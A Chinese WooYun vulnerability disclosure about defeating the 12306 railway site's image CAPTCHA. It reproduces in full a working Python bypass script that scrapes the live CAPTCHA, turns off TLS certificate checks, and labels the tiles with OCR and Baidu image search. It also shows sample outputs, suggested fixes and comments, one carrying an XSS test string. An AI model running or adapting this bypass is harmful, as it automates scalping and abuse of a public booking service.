当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102178

漏洞标题:12306 最新验证码可被破解(可继续被应用于抢票软件)

相关厂商:12306

漏洞作者: zph

提交时间:2015-03-18 20:52

修复时间:2015-03-18 22:08

公开时间:2015-03-18 22:08

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-18: 细节已通知厂商并且等待厂商处理中
2015-03-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

这个没人报上来吗……这种奇葩验证码记得早就能被某公共服务识别了……(验证代码来源于第三方)

详细说明:

利用Google 图片(http://images.google.com)
写处代码(来自:https://github.com/andelf/fuck12306)

#!/usr/bin/python
# # FileName : fuck12306.py
# # Author : MaoMao Wang <andelf@gmail.com>
# # Created : Mon Mar 16 22:08:41 2015 by ShuYu Wang
# # Copyright : Feather (c) 2015
# # Description : fuck fuck 12306
# # Time-stamp: <2015-03-17 10:57:44 andelf>
from PIL import Image
from PIL import ImageFilter
import urllib
import urllib2
import re
import json
# hack CERTIFICATE_VERIFY_FAILED
# https://github.com/mtschirs/quizduellapi/issues/2
import ssl
if hasattr(ssl, '_create_unverified_context'):
ssl._create_default_https_context = ssl._create_unverified_context
UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36"
pic_url = "https://kyfw.12306.cn/otn/passcodeNew/getPassCodeNew?module=login&rand=sjrand&0.21191171556711197"
def get_img():
resp = urllib.urlopen(pic_url)
raw = resp.read()
with open("./tmp.jpg", 'wb') as fp:
fp.write(raw)
return Image.open("./tmp.jpg")
def get_sub_img(im, x, y):
assert 0 <= x <= 3
assert 0 <= y <= 2
WITH = HEIGHT = 68
left = 5 + (67 + 5) * x
top = 41 + (67 + 5) * y
right = left + 67
bottom = top + 67
return im.crop((left, top, right, bottom))
def baidu_stu_lookup(im):
url = "http://stu.baidu.com/n/image?fr=html5&needRawImageUrl=true&id=WU_FILE_0&name=233.png&type=image%2Fpng&lastModifiedDate=Mon+Mar+16+2015+20%3A49%3A11+GMT%2B0800+(CST)&size="
im.save("./query_temp_img.png")
raw = open("./query_temp_img.png", 'rb').read()
url = url + str(len(raw))
req = urllib2.Request(url, raw, {'Content-Type':'image/png', 'User-Agent':UA})
resp = urllib2.urlopen(req)
resp_url = resp.read() # return a pure url
url = "http://stu.baidu.com/n/searchpc?queryImageUrl=" + urllib.quote(resp_url)
req = urllib2.Request(url, headers={'User-Agent':UA})
resp = urllib2.urlopen(req)
html = resp.read()
return baidu_stu_html_extract(html)
def baidu_stu_html_extract(html):
#pattern = re.compile(r'<script type="text/javascript">(.*?)</script>', re.DOTALL | re.MULTILINE)
pattern = re.compile(r"keywords:'(.*?)'")
matches = pattern.findall(html)
if not matches:
return '[UNKNOWN]'
json_str = matches[0]
json_str = json_str.replace('\\x22', '"').replace('\\\\', '\\')
#print json_str
result = [item['keyword'] for item in json.loads(json_str)]
return '|'.join(result) if result else '[UNKNOWN]'
def ocr_question_extract(im):
# git@github.com:madmaze/pytesseract.git
global pytesseract
try:
import pytesseract
except:
print "[ERROR] pytesseract not installed"
return
im = im.crop((127, 3, 260, 22))
im = pre_ocr_processing(im)
# im.show()
return pytesseract.image_to_string(im, lang='chi_sim').strip()
def pre_ocr_processing(im):
im = im.convert("RGB")
width, height = im.size
white = im.filter(ImageFilter.BLUR).filter(ImageFilter.MaxFilter(23))
grey = im.convert('L')
impix = im.load()
whitepix = white.load()
greypix = grey.load()
for y in range(height):
for x in range(width):
greypix[x,y] = min(255, max(255 + impix[x,y][0] - whitepix[x,y][0],
255 + impix[x,y][1] - whitepix[x,y][1],
255 + impix[x,y][2] - whitepix[x,y][2]))
new_im = grey.copy()
binarize(new_im, 150)
return new_im
def binarize(im, thresh=120):
assert 0 < thresh < 255
assert im.mode == 'L'
w, h = im.size
for y in xrange(0, h):
for x in xrange(0, w):
if im.getpixel((x,y)) < thresh:
im.putpixel((x,y), 0)
else:
im.putpixel((x,y), 255)
if __name__ == '__main__':
im = get_img()
#im = Image.open("./tmp.jpg")
print 'OCR Question:', ocr_question_extract(im)
for y in range(2):
for x in range(4):
im2 = get_sub_img(im, x, y)
result = baidu_stu_lookup(im2)
print (y,x), result


12306验证码即可被完爆

漏洞证明:

1.jpg


2.png


3.jpg


> 结果
(0, 0) 苹果充电器
(0, 1) 医师资格证|证件翻拍
(0, 2) 手机|手机皮套
(0, 3) 油炸薯条|炸暑条|双人
(1, 0) 手机套|苹果手机套|手机配件
(1, 1) 砂积石
(1, 2) [UNKOWN]
(1, 3) 波导|可转穿衣镜|手机


4.jpg


>
(0, 0) 靴|保温杯
(0, 1) 二粒小麦|刷子|成片种植
(0, 2) 香辣酱|瓶装调料|果酱
(0, 3) [UNKOWN]
(1, 0) 柚子|圆形果类
(1, 1) 雪饼
(1, 2) 李锦记|香辣酱|调料
(1, 3) 素菜

修复方案:

1. 不要用这种奇葩验证码……这种验证码太太诡异,有时会挡住一些正常使用的用户。
2. 既然抢票软件是全自动的,不如在图像验证码的前提下,加个二次验证?短信验证码?邮件确认?
更多方案请自行发挥,呵呵呵呵呵呵呵……

版权声明:转载请注明来源 zph@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-03-18 22:08

厂商回复:

两个单选图片的答案,或者不是答案的相似图片多于答案图片。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-18 20:53 | 牛肉包子 ( 普通白帽子 | Rank:254 漏洞数:64 )

    ....fuck12306

  2. 2015-03-18 20:55 | 独孤求败 ( 普通白帽子 | Rank:1214 漏洞数:331 )

    这个叼!

  3. 2015-03-18 21:06 | T0ne5 ( 路人 | Rank:2 漏洞数:1 | 搬砖真的很累。)

    还能不能让人安静的买个票啊!

  4. 2015-03-18 21:07 | Q1NG ( 实习白帽子 | Rank:93 漏洞数:16 | 临 兵 斗 者 皆 阵 列 前 行 !)

    fuck12306 昨天就出来了

  5. 2015-03-18 21:09 | Taro ( 普通白帽子 | Rank:178 漏洞数:48 | 走向最远的方向,哪怕前路迷茫;抱着最大的...)

    道高一尺魔高一丈

  6. 2015-03-18 21:21 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    修复了还绕过

  7. 2015-03-18 21:22 | phith0n 认证白帽子 ( 核心白帽子 | Rank:656 漏洞数:107 | 一个想当文人的黑客~)

    @CloudSight

  8. 2015-03-18 21:58 | sdc1992 ( 实习白帽子 | Rank:32 漏洞数:12 )

    关注~

  9. 2015-03-18 22:02 | _Thorns ( 普通白帽子 | Rank:882 漏洞数:157 | 收wb 1:5 无限量收 [平台担保]))

    人家容易嘛,你们这帮人!!!

  10. 2015-03-18 22:10 | 咸鱼翻身 ( 普通白帽子 | Rank:576 漏洞数:108 )

    。。。。。。。。。。

  11. 2015-03-18 22:18 | zph ( 普通白帽子 | Rank:235 漏洞数:43 )

    厂商这态度。。醉了,一次错误就等于第二次也错误?怎么也不可能每次都错吧?既然不修复咱也没办法,那就等着继续被抢票软件轰炸吧,233

  12. 2015-03-18 22:30 | 茜茜公主 ( 普通白帽子 | Rank:2360 漏洞数:406 | 家里二宝出生,这几个月忙着把屎把尿...忒...)

    估计看到fuck所以忽略了

  13. 2015-03-18 22:41 | 机器猫 ( 普通白帽子 | Rank:1141 漏洞数:253 | 爱生活、爱腾讯、爱网络!)

    CCAV看这里!

  14. 2015-03-18 23:30 | Knight ( 实习白帽子 | Rank:38 漏洞数:10 | 刚刚上洗手间,看到一个玉树临风的少年,气...)

    我去,不让人活了。还有安全的验证码吗?

  15. 2015-03-18 23:54 | ADO ( 实习白帽子 | Rank:32 漏洞数:8 | Script)

    正想着用py写一个呢 就被贴出来了

  16. 2015-03-18 23:59 | 暧昧 ( 路人 | Rank:6 漏洞数:3 | 此号乃是吾用来装孙子也)

    闹腾

  17. 2015-03-19 00:00 | GrayTrack ( 实习白帽子 | Rank:75 漏洞数:14 | 灰色轨迹)

    忽略得好快,破解大牛很快会出奇招

  18. 2015-03-19 00:32 | 残雪 ( 实习白帽子 | Rank:34 漏洞数:7 | 屌丝一枚擅长扯淡)

    黄牛党万岁

  19. 2015-03-19 00:48 | Code_Monkey ( 路人 | Rank:24 漏洞数:7 | Code Monkey think someday he have everyt...)

    洞主, 请问那个长得像樟脑球的雪饼能给12306吃么.

  20. 2015-03-19 06:16 | Ztz ( 普通白帽子 | Rank:152 漏洞数:40 | 自由职业)

    知乎上看到了。哈哈。我觉得这种验证码能让自己服务器瘫了。

  21. 2015-03-19 08:45 | px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)

    @12306 图片总数有限,可以被枚举的

  22. 2015-03-19 08:56 | zph ( 普通白帽子 | Rank:235 漏洞数:43 )

    @px1624 嗯,网上挺多相关文章的。算了~人家就没意识到漏洞的根本问题,就不想修复,有啥办法。我们作为白帽子只能做到发现漏洞问题和通报,但是厂商要没自觉性,那就没办法了~

  23. 2015-03-19 09:57 | n1Ce ( 路人 | Rank:2 漏洞数:1 | 面基品茶撸啊撸)

    8张图片我也是看傻了,新亏百度还认得出来

  24. 2015-03-19 10:10 | hkAssassin ( 普通白帽子 | Rank:358 漏洞数:66 | 我是一只毛毛虫。)

    一看你们就知道是黑客!

  25. 2015-03-19 11:03 | an0nym0us ( 路人 | Rank:18 漏洞数:3 | no)

    据说这个验证码是12306外包给别人做的

  26. 2015-03-19 16:23 | 0x12 ( 路人 | Rank:4 漏洞数:2 | <script>alert(/0x12/)</script>)

    呵呵哈哈哈

  27. 2015-04-03 18:20 | mapleeve ( 路人 | Rank:6 漏洞数:2 | 枫林晚矣)

    呵呵呵,这样的验证码